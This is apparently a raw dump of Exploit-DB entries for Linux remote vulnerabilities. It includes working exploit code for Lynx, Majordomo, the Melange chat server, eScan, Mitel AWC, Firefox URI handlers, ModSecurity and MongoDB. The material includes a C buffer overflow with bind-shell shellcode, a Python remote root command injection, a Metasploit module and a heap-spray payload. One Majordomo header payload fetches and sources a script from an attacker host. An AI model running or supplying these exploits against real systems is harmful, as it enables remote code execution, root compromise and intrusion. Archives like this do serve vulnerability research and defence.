deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21722
Description: Lynx 2.8.x - Command Line URL CRLF Injection
Type: remote
Platform: linux
Date: 2002-08-19
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5499/info

A CRLF injection vulnerability has been reported for Lynx that may allow an attacker to include extra HTTP headers when viewing web pages. If Lynx is called from the command line, carriage return and line feed (CRLF) characters may be included in the specified URL. These characters are not escaped when the input is used to construct a HTTP request.

Exploitation of this flaw may allow an attacker to inject additional HTTP headers into a request. Abuse of the 'Host' header may cause the request to be served as if made to a different domain, possibly providing the attacker with more control over the content returned.

This vulnerability has been reported for Lynx versions 2.8.4rel.1, 2.8.5dev.8, 2.8.3rel.1 and 2.8.2rel.1. It is not known whether other versions are affected.

*** Links 0.9.6 and ELinks have also been reported as being vulnerable. Some versions of Links and ELinks URL encode space characters so an attacker needs to use tab characters, instead of spaces, to exploit the issue on these browsers.

#!/usr/bin/perl --
# Ulf Harnhammar 2002
# example: ./exploit www.site1.st www.site2.st
# will show www.site2.st

die "$0 hostone hosttwo\n" if @ARGV != 2;

exec('lynx "'.
     "http://$ARGV[0]/ HTTP/1.0\012".
     "Host: $ARGV[1]\012\012".
     '"');
Exploit-DB #20597
Description: Majordomo 1.89/1.90 - 'lists' Command Execution
Type: remote
Platform: linux
Date: 1994-06-06
Author: Razvan Dragomirescu

Exploit:
source: https://www.securityfocus.com/bid/2310/info

Majordomo is a perl-based Internet e-mail list server. Versions prior to 1.91 are vulnerable to an attack whereby specially crafted e-mail headers are incorrectly processed, yielding the ability to execute arbitrary commands with the privileges of Majordomo. This is possible only when "advertise" or "noadvertise" directives are specified in the configuration files. 

Local exploit:
--exploit--
telnet localhost 25

helo localhost
mail from: user
rcpt to: majordomo (or whatever the name of the majordomo user is)
data
From: user
To: majordomo
Reply-to: a~.`/bin/cp\${IFS}/bin/bash\${IFS}/tmp/lord&&/bin/chmod\${IFS}4777\${IFS}/tmp/lord`.q~a/ad=cucu/c=blu\\\@kappa.ro

LISTS
.
quit
--end of exploit --

For the remote users, change the Reply-to field to something like:

Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro
Exploit-DB #20220
Description: Mandrake 6.1/7.0/7.1 - '/perl' HTTP Directory Disclosure
Type: remote
Platform: linux
Date: 2000-09-11
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/1678/info

The default configuration files for versions of mod_perl shipped with Mandrake Linux 6.1 through 7.1 contain a misconfiguration that can be a security concern in some situations. The /perl directory is part of the webserver's root tree (the subdirectory tree from which files are accessable on the webserver..) that is used to store perl scripts. In the configuration file for mod_perl, the apache perl interpreter module, the directory is permitted to be "indexed".. meaning that the webserver will display the contents of the directory if it is requested by itself. The result is that an attacker can see what files are in /perl. While this bug does not affect how the webserver interprets the files in that directory (eg., it will still execute them), knowing what is there to be executed can allow for more targeted and intelligent attacks against scripts known to be vulnerable listed there.

Point your web browser to http://target/perl.
Exploit-DB #20924
Description: MDBms 0.96/0.99 - Query Display Buffer Overflow
Type: remote
Platform: linux
Date: 2001-06-12
Author: teleh0r

Exploit:
source: https://www.securityfocus.com/bid/2867/info

MDBMS is a free relational database management system.

A buffer overflow condition exists in MDBMS. By issuing the '\s' command to display the query buffer when it contains a large amount of data, it may be possible for a remote user to trigger this condition and execute arbitrary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20924.tar.gz
Exploit-DB #382
Description: Melange Chat Server 1.10 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2002-12-24
Author: innerphobia

Exploit:
/*
   Proof of Concept for Melange Chat Server 1.10
   a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02

   Credits go to:
   - iDefense Labs for the advisory
   - blink for discovering the bug
   - Irian for the shellcode

   With careful calculation it is *possible* to control even the EIP,
   not just one byte of EIP.
   There are to a few things that will happen if we use a wrong ret address:
   1. Seg fault / shut down.
   2. Keep on going < nothing happens >.

   Code tested on Suse 8.0 and RH 7.3
   Merry Xmas :)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char **argv){
    int i,j=0,sock,port = 6666;
    char *host;
    char nick[NICKLEN],buff[BUFFLEN];
    struct hostent *htent;
    struct sockaddr_in serv_addr;
    long jump = ADDR;
    u_long *ptr = (u_long *)buff;

    if(argc>4||argc<2)
        printf("Usage : %s [hostname] [ret address in hex (0x41414141)] 
[port]\n",argv[0]),exit(1);

    host=argv[1];
    if(argc>2) sscanf(argv[2],"0x%lx",&jump);
    if(argc>3) port=atoi(argv[3]);

    if((htent = gethostbyname(argv[1])) != NULL && (sock = 
socket(AF_INET,SOCK_STREAM,0)) != -1){

        serv_addr.sin_family = AF_INET;
        memcpy((char 
*)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
        serv_addr.sin_port = htons(port);

        if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

            printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars 
NICKNAME\n",host,port,jump,sizeof(nick)-6);

            memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

            if(send(sock,nick,sizeof(nick),0) == -1)
                perror("Sending nickname failed\n"),exit(1);
            sleep(1);

            for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
            for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff[i]=0x90;
            for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

            printf("Trying to send overflow string\n");

            if(send(sock,buff,sizeof(buff),0) == -1)
                perror("Sending overflow failed :(\n"),exit(1);

            sleep(1);
            printf("Now try to connect to host : %s port : 26112\n",host);
            close(sock);
        }
        else printf("Can't connect to %s at %d\n",host,port),exit(1);
    }
}

// milw0rm.com [2002-12-24]
Exploit-DB #23728
Description: Metamail 2.7 - Multiple Buffer Overflow / Format String Handling Vulnerabilities
Type: remote
Platform: linux
Date: 2004-02-18
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/9692/info

Metamail has been reported prone to multiple vulnerabilities that may provide for arbitrary code execution. Two buffer overflow vulnerabilities have been reported to affect Metamail. Additionally, two format string-handling vulnerabilities have been reported. These issues may also be exploited by a remote attacker to execute arbitrary code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-1.splitmail

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-2.tgz

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-3

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-4

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23728-5
Exploit-DB #22026
Description: Mhonarc 2.5.x - Mail Header HTML Injection
Type: remote
Platform: linux
Date: 2002-11-19
Author: Steven Christey

Exploit:
source: https://www.securityfocus.com/bid/6204/info

A HTML injection vulnerability has been discovered in Mhonarc.

An attacker may exploit this issue by sending a specially constructed email containing malicious HTML code in the header section. When the vulnerable Mhonarc client converts the message to HTML, any malicious HTML code will be executed within the context of the displayed web page.

To: <someone@example.com>
From: <hacker@example.com>
Header<SCRIPT>hello</SCRIPT>def: whatever
Exploit-DB #25015
Description: Michael Kohn Ringtone Tools 2.22 - '.EMelody' File Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Qiao Zhang

Exploit:
source: https://www.securityfocus.com/bid/12010/info

Ringtone Tools is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

An attacker can exploit this issue by crafting a malicious eMelody file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

Ringtone Tools version 2.22 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25015.zip
Exploit-DB #30285
Description: Microsoft Internet Explorer and Mozilla Firefox - URI Handler Command Injection
Type: remote
Platform: linux
Date: 2007-07-10
Author: Thor Larholm

Exploit:
source: https://www.securityfocus.com/bid/24837/info

Microsoft Internet Explorer, Mozilla Firefox and Netscape Navigator are prone to a vulnerability that lets attackers inject commands through the 'firefoxurl' and 'navigatorurl' protocol handlers.

Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through the 'firefox.exe' and 'navigator.exe' processes by employing the 'firefoxurl' and 'navigatorurl' handlers.

An attacker can also employ these issues to carry out cross-browser scripting attacks by using the '-chrome' argument. This can allow the attacker to run JavaScript code with the privileges of trusted Chrome context and gain full access to Firefox and Netscape Navigator's resources.

Exploiting these issues would permit remote attackers to influence command options that can be called through the 'firefoxurl' and 'navigatorurl' handlers and therefore execute commands and script code with the privileges of a user running the applications. Successful attacks may result in a variety of consequences, including remote unauthorized access. 

navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)
Exploit-DB #11720
Description: Microworld eScan AntiVirus < 3.x - Remote Code Execution
Type: remote
Platform: linux
Date: 2010-03-13
Author: Mohammed almutairi

Exploit:
#!/usr/bin/env python
import sys
from socket import *

#auther: Mohammed almutairi
#(Sa.attacker@gmail.com)
"""
MicroWorld eScan Antivirus < 3.x  Remote Root Command Execution
Package MWADMIN package vulnerabilities (linux)
The Base Packages (MWADMIN and MWAV) must be installed before eScan
Link:
http://www.escanav.com/english/content/products/escan_linux/linux_products.asp
infcted: aLL version 3.X eScan linux
1-Escan for Linux Desktop
2-Escan for Linux file Servers
3-MailScan for Linux and webscan
Tested On RedHat  and Fedora
ULTRA PRIV8 :)

Description:

From /opt/MicroWorld/var/www/htdocs/forgotpassword.php:
include("common_functions.php");  <---> (1)

if ($_POST['forgot'] == "Send Password")
{
        $user = $_POST["uname"]; <--->(2) insecure:(


vulnerable code in forgotpassword.php and common_functions.php 
in (1) $runasroot = "/opt/MicroWorld/sbin/runasroot";
we can injection through via the file forgotpassword.php As you can see (2)
with  remote root Command Execution
>> eScan.py www.***.com
eScan@/bin/sh:$Sa$ => reboot
[*] Done! sent to: www.***.com
"""

def xpl():
	if len(sys.argv) < 2:
                print "[*] MicroWorld eScan Antivirus Remote Root Command Execution"
                print "[*] exploited by Mohammed almutairi"
		print "[*] usage: %s host" % sys.argv[0]
		return

	host = sys.argv[1]
	port = 10080 # default port
	cmd = raw_input("eScan@/bin/sh:$Sa$ => ")
	sock=socket(AF_INET, SOCK_STREAM)
	sock.connect((host,port))
        sh="/opt/MicroWorld/sbin/runasroot /bin/sh -c '%s'" % cmd

        sa= "uname=;%s;" %sh # (;sh;)  ---> Here Play See to ^(2)^
        sa+= "&forgot=Send+Password"
        
        s="POST /forgotpassword.php HTTP/1.1\r\n"
        s+="Host: %s:%d\r\n"%(host, port)
        s+="User-Agent: */*\r\n"
        s+="Accept: ar,en-us;q=0.7,en;q=0.3\r\n"
        s+="Content-Type: application/x-www-form-urlencoded\r\n"
        s+="Content-Length: %d \r\n\r\n"%len(sa)
        s+=sa

	sock.sendall(s)
	print "[*] Done! sent to: %s" % host
	sock.close()

if __name__=="__main__":
        xpl()
	sys.exit(0)
Exploit-DB #33855
Description: MIT Kerberos 5 - 'src/kdc/do_tgs_req.c' Ticket Renewal Double-Free Memory Corruption
Type: remote
Platform: linux
Date: 2010-04-20
Author: Joel Johnson

Exploit:
source: https://www.securityfocus.com/bid/39599/info

MIT Kerberos is prone to a remote memory-corruption vulnerability.

An authenticated attacker can exploit this issue by sending specially crafted ticket-renewal requests to a vulnerable computer.

Successfully exploiting this issue can allow the attacker to execute arbitrary code with superuser privileges, completely compromising the affected computer. Failed exploit attempts will result in a denial-of-service condition. 

The following proof-of-concept command is available:

% kinit -R

We currently are unaware of any exploits that result in code-execution.
Exploit-DB #35606
Description: MIT Kerberos 5 - kadmind Change Password Feature Remote Code Execution
Type: remote
Platform: linux
Date: 2011-04-11
Author: Felipe Ortega

Exploit:
source: https://www.securityfocus.com/bid/47310/info

MIT Kerberos is prone to a remote code-execution vulnerability in 'kadmind'.

An attacker may exploit this issue to execute arbitrary code with superuser privileges. Failed attempts will cause the affected application to crash, denying service to legitimate users. A successful exploit will completely compromise affected computers.

MIT Kerberos 5 1.7 and later are vulnerable.

NOTE (April 13, 2011): This BID was originally titled 'MIT Kerberos kadmind Version String Processing Remote Denial Of Service Vulnerability', but has been renamed to better reflect the nature of the issue. 

# nmap -n -sV krb01
Exploit-DB #35132
Description: Mitel Audio and Web Conferencing (AWC) - Arbitrary Shell Command Injection
Type: remote
Platform: linux
Date: 2010-12-21
Author: Jan Fry

Exploit:
source: https://www.securityfocus.com/bid/45537/info

Mitel Audio and Web Conferencing (AWC) is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data.

Remote attackers can exploit this issue to execute arbitrary shell commands with the privileges of the user running the application. 

http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26cat%20%22/usr/awc/www/users%22%26
http://www.example.com/awcuser/cgi-bin/vcs?xsl=/vcs/vcs_home.xsl%26ls%20%22/usr/awc/www/cgi-bin/%22%26
Exploit-DB #16910
Description: Mitel Audio and Web Conferencing - Command Injection (Metasploit)
Type: remote
Platform: linux
Date: 2011-01-08
Author: Metasploit

Exploit:
##
# $Id: mitel_awc_exec.rb 11516 2011-01-08 01:13:26Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Mitel Audio and Web Conferencing Command Injection',
			'Description'    => %q{
					This module exploits a command injection flaw within the Mitel
				Audio and Web Conferencing web interface.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11516 $',
			'References'     =>
				[

					['URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-14'],
					['OSVDB', '69934'],
			#		['CVE',   ''],
			#		['BID',   '']
				],
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'BadChars'    => "<>",
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Dec 12 2010'
			))

		register_options(
			[
				Opt::RPORT(80),
				OptString.new('URIPATH', [ true,  "The path to the vcs cgi-bin binary", "/awcuser/cgi-bin/vcs" ])
			], self.class)
	end

	def exploit
		print_status("Attempting to execute our command..")

		res = send_request_cgi(
			{
				'uri'          => datastore['URIPATH'],
				'method'       => 'GET',
				'vars_get'     => {
					'xml' => 'withXsl',
					'xsl' => ';' + payload.encoded
				}
			}, 10)

		if res and res.code.to_i > 200
			print_error("Unexpected reply: #{res.code} #{res.body[0,500].inspect}...")
			return
		end

		handler
	end

end
Exploit-DB #49176
Description: Mitel mitel-cs018 - Call Data Information Disclosure
Type: remote
Platform: linux
Date: 2020-12-02
Author: Andrea Intilangelo

Exploit:
# Exploit Title: Mitel mitel-cs018 - Call Data Information Disclosure
# Date: 2003-07-28
# Exploit Author: Andrea Intilangelo (acme olografix / paranoici)
# Vendor Homepage: www.mitel.com
# Version: mitel-cs018
# Tested on: Windows, Linux

There is an interesting bug in a Mitel's servers for Voice over IP that allows to discover the numbers called and the numbers calling trought this dhcp server. This server is configurable via http interface and via telnet; in this case, if there is a call at moment of login/pass request, I've noted this:

Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'. 
Username: mitel-cs018
Password: 
ERROR: Invalid Username/Password pair 
Username:
[CREDENTIAL_REDACTED]: ^X^W^E^Q^W
Password: 
ERROR: Invalid Username/Password pair 
Username: Password: 
ERROR: Invalid Username/Password pair 
# in this moment a foreign call arrive from outside
Username: 155 OGIN 149        11:11:55                        D 2
156 ICIN            11:12: 6                        D 4 0xxxXxxxxx
157 XFIC 156        11:12: 6 151            0: 9:47 D 3
158 ICIN            11:12: 6                        D 3 0xxxXxxxxx
159 ANSW 146        11:12:11                0: 0: 9 D 4
160 HDIN 146        11:12:21                        D 4
162 HREC 146        11:12:27                0: 0: 6 D 4
163 ABND ?          11:12:37                0: 0:37 D 3 0xxxXxxxxx
164 ICIN            11:12:43                        D 3 0xxxXxxxxx
165 EXIC 146        11:12:54                0: 0:47 D 4
166 ANSW 146        11:13: 0                0: 0:16 D 3
167 HDIN 146        11:13: 6                        D 3
169 EXIC 146        11:13:13        156     0: 0:12 D 3
171 EXOG 149        11:13:46                0: 1:59 D 2 0xxXxxxxx
172 XFIC 156        11:16:53 146            0: 3:40 D 3 
# where "0xxXxxxxx" are telephone numbers
A derives table results is:
SEQ CODE  EXT   ACC   TIME     RX     TX   DURATION LN    DIALLED DIGITS   COST
No.       No.   COD HH:MM:SS  FROM    TO   HH:MM:SS No.
___ _____ ____ ____ ________  ____   ____  ____________   ______________  _______
Exploit-DB #37949
Description: ModSecurity - 'POST' Security Bypass
Type: remote
Platform: linux
Date: 2012-10-17
Author: Bernhard Mueller

Exploit:
source: https://www.securityfocus.com/bid/56096/info

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.

Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.

ModSecurity 2.6.8 is vulnerable; other versions may also be affected. 

Proof of concept:
-----------------

wut.php:
--------

<? echo $POST[xxx] ?>


POST request:
-------------

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

--A--


Output:
-------

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)d
Exploit-DB #24947
Description: MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution
Type: remote
Platform: linux
Date: 2013-04-08
Author: agix

Exploit:
#Title: MongoDB nativeHelper.apply Remote Code Execution
#Author: agixid http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/
#Software Link: http://fastdl.mongodb.org/linux/mongodb-linux-i686-2.2.3.tgz
#Version: 2.2.3

The following PoC exploits the "nativeHelper" feature in the spidermonkey mongodb implementation.
the NativeFunction "func" come from "x" javascript object and then is called without any check:

db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'})